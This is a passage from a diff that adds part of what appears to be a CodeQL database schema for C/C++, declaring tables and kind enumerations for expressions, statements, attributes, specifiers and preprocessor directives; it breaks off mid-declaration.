+function_template_argument_value(
+    int function_id: @function ref,
+    int index: int ref,
+    int arg_value: @expr ref
+);
+
+is_variable_template(unique int id: @variable ref);
+variable_instantiation(
+    unique int to: @variable ref,
+    int from: @variable ref
+);
+variable_template_argument(
+    int variable_id: @variable ref,
+    int index: int ref,
+    int arg_type: @type ref
+);
+variable_template_argument_value(
+    int variable_id: @variable ref,
+    int index: int ref,
+    int arg_value: @expr ref
+);
+
+/*
+  Fixed point types
+  precision(1) = short, precision(2) = default, precision(3) = long
+  is_unsigned(1) = unsigned is_unsigned(2) = signed
+  is_fract_type(1) = declared with _Fract
+  saturating(1) = declared with _Sat
+*/
+/* TODO
+fixedpointtypes(
+    unique int id: @fixedpointtype,
+    int precision: int ref,
+    int is_unsigned: int ref,
+    int is_fract_type: int ref,
+    int saturating: int ref);
+*/
+
+routinetypes(
+    unique int id: @routinetype,
+    int return_type: @type ref
+);
+
+routinetypeargs(
+    int routine: @routinetype ref,
+    int index: int ref,
+    int type_id: @type ref
+);
+
+ptrtomembers(
+    unique int id: @ptrtomember,
+    int type_id: @type ref,
+    int class_id: @type ref
+);
+
+/*
+ specifiers for types, functions, and variables
+
+    "public",
+    "protected",
+    "private",
+
+    "const",
+    "volatile",
+    "static",
+
+    "pure",
+    "virtual",
+    "sealed", // Microsoft
+    "__interface", // Microsoft
+    "inline",
+    "explicit",
+
+    "near", // near far extension
+    "far", // near far extension
+    "__ptr32", // Microsoft
+    "__ptr64", // Microsoft
+    "__sptr", // Microsoft
+    "__uptr", // Microsoft
+    "dllimport", // Microsoft
+    "dllexport", // Microsoft
+    "thread", // Microsoft
+    "naked", // Microsoft
+    "microsoft_inline", // Microsoft
+    "forceinline", // Microsoft
+    "selectany", // Microsoft
+    "nothrow", // Microsoft
+    "novtable", // Microsoft
+    "noreturn", // Microsoft
+    "noinline", // Microsoft
+    "noalias", // Microsoft
+    "restrict", // Microsoft
+*/
+
+specifiers(
+    unique int id: @specifier,
+    unique string str: string ref
+);
+
+typespecifiers(
+    int type_id: @type ref,
+    int spec_id: @specifier ref
+);
+
+funspecifiers(
+    int func_id: @function ref,
+    int spec_id: @specifier ref
+);
+
+varspecifiers(
+    int var_id: @accessible ref,
+    int spec_id: @specifier ref
+);
+
+attributes(
+    unique int id: @attribute,
+    int kind: int ref,
+    string name: string ref,
+    string name_space: string ref,
+    int location: @location_default ref
+);
+
+case @attribute.kind of
+  0 = @gnuattribute
+| 1 = @stdattribute
+| 2 = @declspec
+| 3 = @msattribute
+| 4 = @alignas
+// ... 5 @objc_propertyattribute deprecated
+;
+
+attribute_args(
+    unique int id: @attribute_arg,
+    int kind: int ref,
+    int attribute: @attribute ref,
+    int index: int ref,
+    int location: @location_default ref
+);
+
+case @attribute_arg.kind of
+  0 = @attribute_arg_empty
+| 1 = @attribute_arg_token
+| 2 = @attribute_arg_constant
+| 3 = @attribute_arg_type
+;
+
+attribute_arg_value(
+    unique int arg: @attribute_arg ref,
+    string value: string ref
+);
+attribute_arg_type(
+    unique int arg: @attribute_arg ref,
+    int type_id: @type ref
+);
+attribute_arg_name(
+    unique int arg: @attribute_arg ref,
+    string name: string ref
+);
+
+typeattributes(
+    int type_id: @type ref,
+    int spec_id: @attribute ref
+);
+
+funcattributes(
+    int func_id: @function ref,
+    int spec_id: @attribute ref
+);
+
+varattributes(
+    int var_id: @accessible ref,
+    int spec_id: @attribute ref
+);
+
+stmtattributes(
+    int stmt_id: @stmt ref,
+    int spec_id: @attribute ref
+);
+
+@type = @builtintype
+      | @derivedtype
+      | @usertype
+      /* TODO | @fixedpointtype */
+      | @routinetype
+      | @ptrtomember
+      | @decltype;
+
+unspecifiedtype(
+    unique int type_id: @type ref,
+    int unspecified_type_id: @type ref
+);
+
+member(
+    int parent: @type ref,
+    int index: int ref,
+    int child: @member ref
+);
+
+@enclosingfunction_child = @usertype | @variable | @namespace
+
+enclosingfunction(
+    unique int child: @enclosingfunction_child ref,
+    int parent: @function ref
+);
+
+derivations(
+    unique int derivation: @derivation,
+    int sub: @type ref,
+    int index: int ref,
+    int super: @type ref,
+    int location: @location_default ref
+);
+
+derspecifiers(
+    int der_id: @derivation ref,
+    int spec_id: @specifier ref
+);
+
+/**
+ * Contains the byte offset of the base class subobject within the derived
+ * class. Only holds for non-virtual base classes, but see table
+ * `virtual_base_offsets` for offsets of virtual base class subobjects.
+ */
+direct_base_offsets(
+    unique int der_id: @derivation ref,
+    int offset: int ref
+);
+
+/**
+ * Contains the byte offset of the virtual base class subobject for class
+ * `super` within a most-derived object of class `sub`. `super` can be either a
+ * direct or indirect base class.
+ */
+#keyset[sub, super]
+virtual_base_offsets(
+    int sub: @usertype ref,
+    int super: @usertype ref,
+    int offset: int ref
+);
+
+frienddecls(
+    unique int id: @frienddecl,
+    int type_id: @type ref,
+    int decl_id: @declaration ref,
+    int location: @location_default ref
+);
+
+@declaredtype = @usertype ;
+
+@declaration = @function
+             | @declaredtype
+             | @variable
+             | @enumconstant
+             | @frienddecl;
+
+@member = @membervariable
+        | @function
+        | @declaredtype
+        | @enumconstant;
+
+@locatable = @diagnostic
+           | @declaration
+           | @ppd_include
+           | @ppd_define
+           | @macroinvocation
+           /*| @funcall*/
+           | @xmllocatable
+           | @attribute
+           | @attribute_arg;
+
+@namedscope = @namespace | @usertype;
+
+@element = @locatable
+         | @file
+         | @folder
+         | @specifier
+         | @type
+         | @expr
+         | @namespace
+         | @initialiser
+         | @stmt
+         | @derivation
+         | @comment
+         | @preprocdirect
+         | @fun_decl
+         | @var_decl
+         | @type_decl
+         | @namespace_decl
+         | @using
+         | @namequalifier
+         | @specialnamequalifyingelement
+         | @static_assert
+         | @type_mention
+         | @lambdacapture;
+
+@exprparent = @element;
+
+comments(
+    unique int id: @comment,
+    string contents: string ref,
+    int location: @location_default ref
+);
+
+commentbinding(
+    int id: @comment ref,
+    int element: @element ref
+);
+
+exprconv(
+    int converted: @expr ref,
+    unique int conversion: @expr ref
+);
+
+compgenerated(unique int id: @element ref);
+
+/**
+ * `destructor_call` destructs the `i`'th entity that should be
+ * destructed following `element`. Note that entities should be
+ * destructed in reverse construction order, so for a given `element`
+ * these should be called from highest to lowest `i`.
+ */
+#keyset[element, destructor_call]
+#keyset[element, i]
+synthetic_destructor_call(
+    int element: @element ref,
+    int i: int ref,
+    int destructor_call: @routineexpr ref
+);
+
+namespaces(
+    unique int id: @namespace,
+    string name: string ref
+);
+
+namespace_inline(
+    unique int id: @namespace ref
+);
+
+namespacembrs(
+    int parentid: @namespace ref,
+    unique int memberid: @namespacembr ref
+);
+
+@namespacembr = @declaration | @namespace;
+
+exprparents(
+    int expr_id: @expr ref,
+    int child_index: int ref,
+    int parent_id: @exprparent ref
+);
+
+expr_isload(unique int expr_id: @expr ref);
+
+@cast = @c_style_cast
+      | @const_cast
+      | @dynamic_cast
+      | @reinterpret_cast
+      | @static_cast
+      ;
+
+/*
+case @conversion.kind of
+  0 = @simple_conversion           // a numeric conversion, qualification conversion, or a reinterpret_cast
+| 1 = @bool_conversion             // conversion to 'bool'
+| 2 = @base_class_conversion       // a derived-to-base conversion
+| 3 = @derived_class_conversion    // a base-to-derived conversion
+| 4 = @pm_base_class_conversion    // a derived-to-base conversion of a pointer to member
+| 5 = @pm_derived_class_conversion // a base-to-derived conversion of a pointer to member
+| 6 = @glvalue_adjust              // an adjustment of the type of a glvalue
+| 7 = @prvalue_adjust              // an adjustment of the type of a prvalue
+;
+*/
+/**
+ * Describes the semantics represented by a cast expression. This is largely
+ * independent of the source syntax of the cast, so it is separate from the
+ * regular expression kind.
+ */
+conversionkinds(
+    unique int expr_id: @cast ref,
+    int kind: int ref
+);
+
+@conversion = @cast
+            | @array_to_pointer
+            | @parexpr
+            | @reference_to
+            | @ref_indirect
+            | @temp_init
+            ;
+
+/*
+case @funbindexpr.kind of
+  0 = @normal_call  // a normal call
+| 1 = @virtual_call // a virtual call
+| 2 = @adl_call     // a call whose target is only found by ADL
+;
+*/
+iscall(unique int caller: @funbindexpr ref, int kind: int ref);
+
+numtemplatearguments(
+    unique int expr_id: @expr ref,
+    int num: int ref
+);
+
+specialnamequalifyingelements(
+    unique int id: @specialnamequalifyingelement,
+    unique string name: string ref
+);
+
+@namequalifiableelement = @expr | @namequalifier;
+@namequalifyingelement = @namespace
+                       | @specialnamequalifyingelement
+                       | @usertype;
+
+namequalifiers(
+    unique int id: @namequalifier,
+    unique int qualifiableelement: @namequalifiableelement ref,
+    int qualifyingelement: @namequalifyingelement ref,
+    int location: @location_default ref
+);
+
+varbind(
+    int expr: @varbindexpr ref,
+    int var: @accessible ref
+);
+
+funbind(
+    int expr: @funbindexpr ref,
+    int fun: @function ref
+);
+
+@any_new_expr = @new_expr
+              | @new_array_expr;
+
+@new_or_delete_expr = @any_new_expr
+                    | @delete_expr
+                    | @delete_array_expr;
+
+@prefix_crement_expr = @preincrexpr | @predecrexpr;
+
+@postfix_crement_expr = @postincrexpr | @postdecrexpr;
+
+@increment_expr = @preincrexpr | @postincrexpr;
+
+@decrement_expr = @predecrexpr | @postdecrexpr;
+
+@crement_expr = @increment_expr | @decrement_expr;
+
+@un_arith_op_expr = @arithnegexpr
+                  | @unaryplusexpr
+                  | @conjugation
+                  | @realpartexpr
+                  | @imagpartexpr
+                  | @crement_expr
+                  ;
+
+@un_bitwise_op_expr = @complementexpr;
+
+@un_log_op_expr = @notexpr;
+
+@un_op_expr = @address_of
+            | @indirect
+            | @un_arith_op_expr
+            | @un_bitwise_op_expr
+            | @builtinaddressof
+            | @vec_fill
+            | @un_log_op_expr
+            | @co_await
+            | @co_yield
+            ;
+
+@bin_log_op_expr = @andlogicalexpr | @orlogicalexpr;
+
+@cmp_op_expr = @eq_op_expr | @rel_op_expr;
+
+@eq_op_expr = @eqexpr | @neexpr;
+
+@rel_op_expr = @gtexpr
+             | @ltexpr
+             | @geexpr
+             | @leexpr
+             | @spaceshipexpr
+             ;
+
+@bin_bitwise_op_expr = @lshiftexpr
+                     | @rshiftexpr
+                     | @andexpr
+                     | @orexpr
+                     | @xorexpr
+                     ;
+
+@p_arith_op_expr = @paddexpr
+                 | @psubexpr
+                 | @pdiffexpr
+                 ;
+
+@bin_arith_op_expr = @addexpr
+                   | @subexpr
+                   | @mulexpr
+                   | @divexpr
+                   | @remexpr
+                   | @jmulexpr
+                   | @jdivexpr
+                   | @fjaddexpr
+                   | @jfaddexpr
+                   | @fjsubexpr
+                   | @jfsubexpr
+                   | @minexpr
+                   | @maxexpr
+                   | @p_arith_op_expr
+                   ;
+
+@bin_op_expr = @bin_arith_op_expr
+             | @bin_bitwise_op_expr
+             | @cmp_op_expr
+             | @bin_log_op_expr
+             ;
+
+@op_expr = @un_op_expr
+         | @bin_op_expr
+         | @assign_expr
+         | @conditionalexpr
+         ;
+
+@assign_arith_expr = @assignaddexpr
+                   | @assignsubexpr
+                   | @assignmulexpr
+                   | @assigndivexpr
+                   | @assignremexpr
+                   ;
+
+@assign_bitwise_expr = @assignandexpr
+                     | @assignorexpr
+                     | @assignxorexpr
+                     | @assignlshiftexpr
+                     | @assignrshiftexpr
+                     | @assignpaddexpr
+                     | @assignpsubexpr
+                     ;
+
+@assign_op_expr = @assign_arith_expr | @assign_bitwise_expr
+
+@assign_expr = @assignexpr | @assign_op_expr
+
+/*
+  case @allocator.form of
+    0 = plain
+  | 1 = alignment
+  ;
+*/
+
+/**
+ * The allocator function associated with a `new` or `new[]` expression.
+ * The `form` column specified whether the allocation call contains an alignment
+ * argument.
+ */
+expr_allocator(
+    unique int expr: @any_new_expr ref,
+    int func: @function ref,
+    int form: int ref
+);
+
+/*
+  case @deallocator.form of
+    0 = plain
+  | 1 = size
+  | 2 = alignment
+  | 3 = size_and_alignment
+  ;
+*/
+
+/**
+ * The deallocator function associated with a `delete`, `delete[]`, `new`, or
+ * `new[]` expression. For a `new` or `new[]` expression, the deallocator is the
+ * one used to free memory if the initialization throws an exception.
+ * The `form` column specifies whether the deallocation call contains a size
+ * argument, and alignment argument, or both.
+ */
+expr_deallocator(
+    unique int expr: @new_or_delete_expr ref,
+    int func: @function ref,
+    int form: int ref
+);
+
+/**
+ * Holds if the `@conditionalexpr` is of the two operand form
+ * `guard ? : false`.
+ */
+expr_cond_two_operand(
+    unique int cond: @conditionalexpr ref
+);
+
+/**
+ * The guard of `@conditionalexpr` `guard ? true : false`
+ */
+expr_cond_guard(
+    unique int cond: @conditionalexpr ref,
+    int guard: @expr ref
+);
+
+/**
+ * The expression used when the guard of `@conditionalexpr`
+ * `guard ? true : false` holds. For the two operand form
+ * `guard ?: false` consider using `expr_cond_guard` instead.
+ */
+expr_cond_true(
+    unique int cond: @conditionalexpr ref,
+    int true: @expr ref
+);
+
+/**
+ * The expression used when the guard of `@conditionalexpr`
+ * `guard ? true : false` does not hold.
+ */
+expr_cond_false(
+    unique int cond: @conditionalexpr ref,
+    int false: @expr ref
+);
+
+/** A string representation of the value. */
+values(
+    unique int id: @value,
+    string str: string ref
+);
+
+/** The actual text in the source code for the value, if any. */
+valuetext(
+    unique int id: @value ref,
+    string text: string ref
+);
+
+valuebind(
+    int val: @value ref,
+    unique int expr: @expr ref
+);
+
+fieldoffsets(
+    unique int id: @variable ref,
+    int byteoffset: int ref,
+    int bitoffset: int ref
+);
+
+bitfield(
+    unique int id: @variable ref,
+    int bits: int ref,
+    int declared_bits: int ref
+);
+
+/* TODO
+memberprefix(
+    int member: @expr ref,
+    int prefix: @expr ref
+);
+*/
+
+/*
+   kind(1) = mbrcallexpr
+   kind(2) = mbrptrcallexpr
+   kind(3) = mbrptrmbrcallexpr
+   kind(4) = ptrmbrptrmbrcallexpr
+   kind(5) = mbrreadexpr // x.y
+   kind(6) = mbrptrreadexpr // p->y
+   kind(7) = mbrptrmbrreadexpr // x.*pm
+   kind(8) = mbrptrmbrptrreadexpr // x->*pm
+   kind(9) = staticmbrreadexpr // static x.y
+   kind(10) = staticmbrptrreadexpr // static p->y
+*/
+/* TODO
+memberaccess(
+    int member: @expr ref,
+    int kind: int ref
+);
+*/
+
+initialisers(
+    unique int init: @initialiser,
+    int var: @accessible ref,
+    unique int expr: @expr ref,
+    int location: @location_expr ref
+);
+
+/**
+ * An ancestor for the expression, for cases in which we cannot
+ * otherwise find the expression's parent.
+ */
+expr_ancestor(
+    int exp: @expr ref,
+    int ancestor: @element ref
+);
+
+exprs(
+    unique int id: @expr,
+    int kind: int ref,
+    int location: @location_expr ref
+);
+
+/*
+  case @value.category of
+    1 = prval
+  | 2 = xval
+  | 3 = lval
+  ;
+*/
+expr_types(
+    int id: @expr ref,
+    int typeid: @type ref,
+    int value_category: int ref
+);
+
+case @expr.kind of
+    1 = @errorexpr
+|   2 = @address_of // & AddressOfExpr
+|   3 = @reference_to // ReferenceToExpr (implicit?)
+|   4 = @indirect // * PointerDereferenceExpr
+|   5 = @ref_indirect // ReferenceDereferenceExpr (implicit?)
+// ...
+|   8 = @array_to_pointer // (???)
+|   9 = @vacuous_destructor_call // VacuousDestructorCall
+// ...
+|  11 = @assume // Microsoft
+|  12 = @parexpr
+|  13 = @arithnegexpr
+|  14 = @unaryplusexpr
+|  15 = @complementexpr
+|  16 = @notexpr
+|  17 = @conjugation // GNU ~ operator
+|  18 = @realpartexpr // GNU __real
+|  19 = @imagpartexpr // GNU __imag
+|  20 = @postincrexpr
+|  21 = @postdecrexpr
+|  22 = @preincrexpr
+|  23 = @predecrexpr
+|  24 = @conditionalexpr
+|  25 = @addexpr
+|  26 = @subexpr
+|  27 = @mulexpr
+|  28 = @divexpr
+|  29 = @remexpr
+|  30 = @jmulexpr // C99 mul imaginary
+|  31 = @jdivexpr // C99 div imaginary
+|  32 = @fjaddexpr // C99 add real + imaginary
+|  33 = @jfaddexpr // C99 add imaginary + real
+|  34 = @fjsubexpr // C99 sub real - imaginary
+|  35 = @jfsubexpr // C99 sub imaginary - real
+|  36 = @paddexpr // pointer add (pointer + int or int + pointer)
+|  37 = @psubexpr // pointer sub (pointer - integer)
+|  38 = @pdiffexpr // difference between two pointers
+|  39 = @lshiftexpr
+|  40 = @rshiftexpr
+|  41 = @andexpr
+|  42 = @orexpr
+|  43 = @xorexpr
+|  44 = @eqexpr
+|  45 = @neexpr
+|  46 = @gtexpr
+|  47 = @ltexpr
+|  48 = @geexpr
+|  49 = @leexpr
+|  50 = @minexpr // GNU minimum
+|  51 = @maxexpr // GNU maximum
+|  52 = @assignexpr
+|  53 = @assignaddexpr
+|  54 = @assignsubexpr
+|  55 = @assignmulexpr
+|  56 = @assigndivexpr
+|  57 = @assignremexpr
+|  58 = @assignlshiftexpr
+|  59 = @assignrshiftexpr
+|  60 = @assignandexpr
+|  61 = @assignorexpr
+|  62 = @assignxorexpr
+|  63 = @assignpaddexpr // assign pointer add
+|  64 = @assignpsubexpr // assign pointer sub
+|  65 = @andlogicalexpr
+|  66 = @orlogicalexpr
+|  67 = @commaexpr
+|  68 = @subscriptexpr // access to member of an array, e.g., a[5]
+// ...  69 @objc_subscriptexpr deprecated
+// ...  70 @cmdaccess deprecated
+// ...
+|  73 = @virtfunptrexpr
+|  74 = @callexpr
+// ...  75 @msgexpr_normal deprecated
+// ...  76 @msgexpr_super deprecated
+// ...  77 @atselectorexpr deprecated
+// ...  78 @atprotocolexpr deprecated
+|  79 = @vastartexpr
+|  80 = @vaargexpr
+|  81 = @vaendexpr
+|  82 = @vacopyexpr
+// ...  83 @atencodeexpr deprecated
+|  84 = @varaccess
+|  85 = @thisaccess
+// ...  86 @objc_box_expr deprecated
+|  87 = @new_expr
+|  88 = @delete_expr
+|  89 = @throw_expr
+|  90 = @condition_decl // a variable declared in a condition, e.g., if(int x = y > 2)
+|  91 = @braced_init_list
+|  92 = @type_id
+|  93 = @runtime_sizeof
+|  94 = @runtime_alignof
+|  95 = @sizeof_pack
+|  96 = @expr_stmt // GNU extension
+|  97 = @routineexpr
+|  98 = @type_operand // used to access a type in certain contexts (haven't found any examples yet....)
+|  99 = @offsetofexpr // offsetof ::= type and field
+| 100 = @hasassignexpr // __has_assign ::= type
+| 101 = @hascopyexpr // __has_copy ::= type
+| 102 = @hasnothrowassign // __has_nothrow_assign ::= type
+| 103 = @hasnothrowconstr // __has_nothrow_constructor ::= type
+| 104 = @hasnothrowcopy // __has_nothrow_copy ::= type
+| 105 = @hastrivialassign // __has_trivial_assign ::= type
+| 106 = @hastrivialconstr // __has_trivial_constructor ::= type
+| 107 = @hastrivialcopy // __has_trivial_copy ::= type
+| 108 = @hasuserdestr // __has_user_destructor ::= type
+| 109 = @hasvirtualdestr // __has_virtual_destructor ::= type
+| 110 = @isabstractexpr // __is_abstract ::= type
+| 111 = @isbaseofexpr // __is_base_of ::= type type
+| 112 = @isclassexpr // __is_class ::= type
+| 113 = @isconvtoexpr // __is_convertible_to ::= type type
+| 114 = @isemptyexpr // __is_empty ::= type
+| 115 = @isenumexpr // __is_enum ::= type
+| 116 = @ispodexpr // __is_pod ::= type
+| 117 = @ispolyexpr // __is_polymorphic ::= type
+| 118 = @isunionexpr // __is_union ::= type
+| 119 = @typescompexpr // GNU __builtin_types_compatible ::= type type
+| 120 = @intaddrexpr // EDG internal builtin, used to implement offsetof
+// ...
+| 122 = @hastrivialdestructor // __has_trivial_destructor ::= type
+| 123 = @literal
+| 124 = @uuidof
+| 127 = @aggregateliteral
+| 128 = @delete_array_expr
+| 129 = @new_array_expr
+// ... 130 @objc_array_literal deprecated
+// ... 131 @objc_dictionary_literal deprecated
+| 132 = @foldexpr
+// ...
+| 200 = @ctordirectinit
+| 201 = @ctorvirtualinit
+| 202 = @ctorfieldinit
+| 203 = @ctordelegatinginit
+| 204 = @dtordirectdestruct
+| 205 = @dtorvirtualdestruct
+| 206 = @dtorfielddestruct
+// ...
+| 210 = @static_cast
+| 211 = @reinterpret_cast
+| 212 = @const_cast
+| 213 = @dynamic_cast
+| 214 = @c_style_cast
+| 215 = @lambdaexpr
+| 216 = @param_ref
+| 217 = @noopexpr
+// ...
+| 294 = @istriviallyconstructibleexpr
+| 295 = @isdestructibleexpr
+| 296 = @isnothrowdestructibleexpr
+| 297 = @istriviallydestructibleexpr
+| 298 = @istriviallyassignableexpr
+| 299 = @isnothrowassignableexpr
+| 300 = @istrivialexpr
+| 301 = @isstandardlayoutexpr
+| 302 = @istriviallycopyableexpr
+| 303 = @isliteraltypeexpr
+| 304 = @hastrivialmoveconstructorexpr
+| 305 = @hastrivialmoveassignexpr
+| 306 = @hasnothrowmoveassignexpr
+| 307 = @isconstructibleexpr
+| 308 = @isnothrowconstructibleexpr
+| 309 = @hasfinalizerexpr
+| 310 = @isdelegateexpr
+| 311 = @isinterfaceclassexpr
+| 312 = @isrefarrayexpr
+| 313 = @isrefclassexpr
+| 314 = @issealedexpr
+| 315 = @issimplevalueclassexpr
+| 316 = @isvalueclassexpr
+| 317 = @isfinalexpr
+| 319 = @noexceptexpr
+| 320 = @builtinshufflevector
+| 321 = @builtinchooseexpr
+| 322 = @builtinaddressof
+| 323 = @vec_fill
+| 324 = @builtinconvertvector
+| 325 = @builtincomplex
+| 326 = @spaceshipexpr
+| 327 = @co_await
+| 328 = @co_yield
+| 329 = @temp_init
+;
+
+@var_args_expr = @vastartexpr
+               | @vaendexpr
+               | @vaargexpr
+               | @vacopyexpr
+               ;
+
+@builtin_op = @var_args_expr
+            | @noopexpr
+            | @offsetofexpr
+            | @intaddrexpr
+            | @hasassignexpr
+            | @hascopyexpr
+            | @hasnothrowassign
+            | @hasnothrowconstr
+            | @hasnothrowcopy
+            | @hastrivialassign
+            | @hastrivialconstr
+            | @hastrivialcopy
+            | @hastrivialdestructor
+            | @hasuserdestr
+            | @hasvirtualdestr
+            | @isabstractexpr
+            | @isbaseofexpr
+            | @isclassexpr
+            | @isconvtoexpr
+            | @isemptyexpr
+            | @isenumexpr
+            | @ispodexpr
+            | @ispolyexpr
+            | @isunionexpr
+            | @typescompexpr
+            | @builtinshufflevector
+            | @builtinconvertvector
+            | @builtinaddressof
+            | @istriviallyconstructibleexpr
+            | @isdestructibleexpr
+            | @isnothrowdestructibleexpr
+            | @istriviallydestructibleexpr
+            | @istriviallyassignableexpr
+            | @isnothrowassignableexpr
+            | @isstandardlayoutexpr
+            | @istriviallycopyableexpr
+            | @isliteraltypeexpr
+            | @hastrivialmoveconstructorexpr
+            | @hastrivialmoveassignexpr
+            | @hasnothrowmoveassignexpr
+            | @isconstructibleexpr
+            | @isnothrowconstructibleexpr
+            | @hasfinalizerexpr
+            | @isdelegateexpr
+            | @isinterfaceclassexpr
+            | @isrefarrayexpr
+            | @isrefclassexpr
+            | @issealedexpr
+            | @issimplevalueclassexpr
+            | @isvalueclassexpr
+            | @isfinalexpr
+            | @builtinchooseexpr
+            | @builtincomplex
+            ;
+
+new_allocated_type(
+    unique int expr: @new_expr ref,
+    int type_id: @type ref
+);
+
+new_array_allocated_type(
+    unique int expr: @new_array_expr ref,
+    int type_id: @type ref
+);
+
+/**
+ * The field being initialized by an initializer expression within an aggregate
+ * initializer for a class/struct/union.
+ */
+#keyset[aggregate, field]
+aggregate_field_init(
+    int aggregate: @aggregateliteral ref,
+    int initializer: @expr ref,
+    int field: @membervariable ref
+);
+
+/**
+ * The index of the element being initialized by an initializer expression
+ * within an aggregate initializer for an array.
+ */
+#keyset[aggregate, element_index]
+aggregate_array_init(
+    int aggregate: @aggregateliteral ref,
+    int initializer: @expr ref,
+    int element_index: int ref
+);
+
+@ctorinit = @ctordirectinit
+          | @ctorvirtualinit
+          | @ctorfieldinit
+          | @ctordelegatinginit;
+@dtordestruct = @dtordirectdestruct
+              | @dtorvirtualdestruct
+              | @dtorfielddestruct;
+
+
+condition_decl_bind(
+    unique int expr: @condition_decl ref,
+    unique int decl: @declaration ref
+);
+
+typeid_bind(
+    unique int expr: @type_id ref,
+    int type_id: @type ref
+);
+
+uuidof_bind(
+    unique int expr: @uuidof ref,
+    int type_id: @type ref
+);
+
+@runtime_sizeof_or_alignof = @runtime_sizeof | @runtime_alignof;
+
+sizeof_bind(
+    unique int expr: @runtime_sizeof_or_alignof ref,
+    int type_id: @type ref
+);
+
+code_block(
+    unique int block: @literal ref,
+    unique int routine: @function ref
+);
+
+lambdas(
+    unique int expr: @lambdaexpr ref,
+    string default_capture: string ref,
+    boolean has_explicit_return_type: boolean ref
+);
+
+lambda_capture(
+    unique int id: @lambdacapture,
+    int lambda: @lambdaexpr ref,
+    int index: int ref,
+    int field: @membervariable ref,
+    boolean captured_by_reference: boolean ref,
+    boolean is_implicit: boolean ref,
+    int location: @location_default ref
+);
+
+@funbindexpr = @routineexpr
+             | @new_expr
+             | @delete_expr
+             | @delete_array_expr
+             | @ctordirectinit
+             | @ctorvirtualinit
+             | @ctordelegatinginit
+             | @dtordirectdestruct
+             | @dtorvirtualdestruct;
+
+@varbindexpr = @varaccess | @ctorfieldinit | @dtorfielddestruct;
+@addressable = @function | @variable ;
+@accessible = @addressable | @enumconstant ;
+
+@access = @varaccess | @routineexpr ;
+
+fold(
+    int expr: @foldexpr ref,
+    string operator: string ref,
+    boolean is_left_fold: boolean ref
+);
+
+stmts(
+    unique int id: @stmt,
+    int kind: int ref,
+    int location: @location_stmt ref
+);
+
+case @stmt.kind of
+    1 = @stmt_expr
+|   2 = @stmt_if
+|   3 = @stmt_while
+|   4 = @stmt_goto
+|   5 = @stmt_label
+|   6 = @stmt_return
+|   7 = @stmt_block
+|   8 = @stmt_end_test_while // do { ... } while ( ... )
+|   9 = @stmt_for
+|  10 = @stmt_switch_case
+|  11 = @stmt_switch
+|  13 = @stmt_asm // "asm" statement or the body of an asm function
+|  15 = @stmt_try_block
+|  16 = @stmt_microsoft_try // Microsoft
+|  17 = @stmt_decl
+|  18 = @stmt_set_vla_size // C99
+|  19 = @stmt_vla_decl // C99
+|  25 = @stmt_assigned_goto // GNU
+|  26 = @stmt_empty
+|  27 = @stmt_continue
+|  28 = @stmt_break
+|  29 = @stmt_range_based_for // C++11
+// ...  30 @stmt_at_autoreleasepool_block deprecated
+// ...  31 @stmt_objc_for_in deprecated
+// ...  32 @stmt_at_synchronized deprecated
+|  33 = @stmt_handler
+// ...  34 @stmt_finally_end deprecated
+|  35 = @stmt_constexpr_if
+|  37 = @stmt_co_return
+;
+
+type_vla(
+    int type_id: @type ref,
+    int decl: @stmt_vla_decl ref
+);
+
+variable_vla(
+    int var: @variable ref,
+    int decl: @stmt_vla_decl ref
+);
+
+if_initialization(
+    unique int if_stmt: @stmt_if ref,
+    int init_id: @stmt ref
+);
+
+if_then(
+    unique int if_stmt: @stmt_if ref,
+    int then_id: @stmt ref
+);
+
+if_else(
+    unique int if_stmt: @stmt_if ref,
+    int else_id: @stmt ref
+);
+
+constexpr_if_initialization(
+    unique int constexpr_if_stmt: @stmt_constexpr_if ref,
+    int init_id: @stmt ref
+);
+
+constexpr_if_then(
+    unique int constexpr_if_stmt: @stmt_constexpr_if ref,
+    int then_id: @stmt ref
+);
+
+constexpr_if_else(
+    unique int constexpr_if_stmt: @stmt_constexpr_if ref,
+    int else_id: @stmt ref
+);
+
+while_body(
+    unique int while_stmt: @stmt_while ref,
+    int body_id: @stmt ref
+);
+
+do_body(
+    unique int do_stmt: @stmt_end_test_while ref,
+    int body_id: @stmt ref
+);
+
+switch_initialization(
+    unique int switch_stmt: @stmt_switch ref,
+    int init_id: @stmt ref
+);
+
+#keyset[switch_stmt, index]
+switch_case(
+    int switch_stmt: @stmt_switch ref,
+    int index: int ref,
+    int case_id: @stmt_switch_case ref
+);
+
+switch_body(
+    unique int switch_stmt: @stmt_switch ref,
+    int body_id: @stmt ref
+);
+
+for_initialization(
+    unique int for_stmt: @stmt_for ref,
+    int init_id: @stmt ref
+);
+
+for_condition(
+    unique int for_stmt: @stmt_for ref,
+    int condition_id: @expr ref
+);
+
+for_update(
+    unique int for_stmt: @stmt_for ref,
+    int update_id: @expr ref
+);
+
+for_body(
+    unique int for_stmt: @stmt_for ref,
+    int body_id: @stmt ref
+);
+
+@stmtparent = @stmt | @expr_stmt ;
+stmtparents(
+    unique int id: @stmt ref,
+    int index: int ref,
+    int parent: @stmtparent ref
+);
+
+ishandler(unique int block: @stmt_block ref);
+
+@cfgnode = @stmt | @expr | @function | @initialiser ;
+
+stmt_decl_bind(
+    int stmt: @stmt_decl ref,
+    int num: int ref,
+    int decl: @declaration ref
+);
+
+stmt_decl_entry_bind(
+    int stmt: @stmt_decl ref,
+    int num: int ref,
+    int decl_entry: @element ref
+);
+
+@functionorblock = @function | @stmt_block;
+
+blockscope(
+    unique int block: @stmt_block ref,
+    int enclosing: @functionorblock ref
+);
+
+@jump = @stmt_goto | @stmt_break | @stmt_continue;
+
+@jumporlabel = @jump | @stmt_label | @literal;
+
+jumpinfo(
+    unique int id: @jumporlabel ref,
+    string str: string ref,
+    int target: @stmt ref
+);
+
+preprocdirects(
+    unique int id: @preprocdirect,
+    int kind: int ref,
+    int location: @location_default ref
+);
+case @preprocdirect.kind of
+   0 = @ppd_if
+|  1 = @ppd_ifdef
+|  2 = @ppd_ifndef
+|  3 = @ppd_elif
+|  4 = @ppd_else
+|  5 = @ppd_endif
+|  6 = @ppd_plain_include
+|  7 = @ppd_define
+|  8 = @ppd_undef
+|  9 = @ppd_line
+| 10 = @ppd_error
+| 11 = @ppd_pragma
+| 12 = @ppd_objc_import
+| 13 = @ppd_include_next
+| 18 = @ppd_warning
+;
+
+@ppd_include = @ppd_plain_include | @ppd_objc_import | @ppd_include_next;
+
+@ppd_branch = @ppd_if | @ppd_ifdef | @ppd_ifndef | @ppd_elif;
+
+preprocpair(
+    int begin : @ppd_branch ref,
+    int elseelifend : @preprocdirect ref
+);
+
+preproctrue(int branch : @ppd_branch ref);
+preprocfalse(int branch : @ppd_branch ref);
+
+preproctext(
